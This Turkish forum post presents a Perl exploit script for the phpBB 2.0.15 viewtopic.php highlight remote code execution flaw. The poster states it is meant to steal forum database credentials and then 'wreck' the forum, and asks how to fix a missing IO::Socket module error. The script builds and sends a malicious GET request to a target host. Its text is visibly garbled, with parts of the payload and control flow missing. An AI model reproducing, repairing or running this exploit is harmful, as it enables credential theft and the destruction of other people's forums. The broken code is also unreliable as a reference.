Bu kod ile phpBB 2.0.15 ve altı version forumların database kullanıcı adı şifesini adresini alabilirsiniz daha sonra phpmyadmin türü yazılımla database e bağlanıp forumu tarumar edebilirsiniz.#!/usr/bin/perl# # # phpBB 2.0.15 Viewtopic. PHP Remote Code Execution Vulnerability # This exploit gives the user all the details about the database # connection such as database host, username, password and # database name.# # Written by SecureD, gvr. secured<AT>gmail<DOT>com,2005 # # Greetings to GvR, Jumento, PP, CKrew & friends# # use IO::Socket;print "+ +\r\n";print "| PhpBB 2.0.15 Database Authentication Details Exploit |\r\n";print "| By SecureD gvr. secured<AT>gmail<DOT>com |\r\n";print "+ +\r\n";if (@ARGV < 3) $serv = $ARGV ;$dir = $ARGV ;$threadid = $ARGV ;$cookie = $ARGV ;$serv = s/http:\/\///ge;$delimit = "GvRSecureD";$sploit = $dir. "viewtopic. php?t=";$sploit.= $threadid;$sploit.= "&highlight='. printf .'";$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80")or die " Connecting... Could not connect to host.\n\n";print " Connecting OK\n";sleep(1);print " Sending exploit ";print $sock "GET $sploit HTTP/1.1\r\n";print $sock "Host: $serv\r\n";if print $sock "Connection: close\r\n\r\n";$succes = 0;while {$delimitIndex = index $answer, $delimit;if ($delimitIndex >= 0) {$succes = 1;$urlIndex = index $answer, "href";if ($urlIndex < 0){$answer = substr($answer, length ;$length = 0;while (length > 0) {$nex = index ;if ($nex > 0) else }}}}close ;if ($succes 1) else

işte bu exploiti çalıştırmaya çalıştığımda can't locate IO/socket. pm hatası alıyorum dosyayı nerden bulabilirim veya hatadan kurtulmak için bişeyler fln mı kurmak gerekiyor. tşkrler

edit: anladım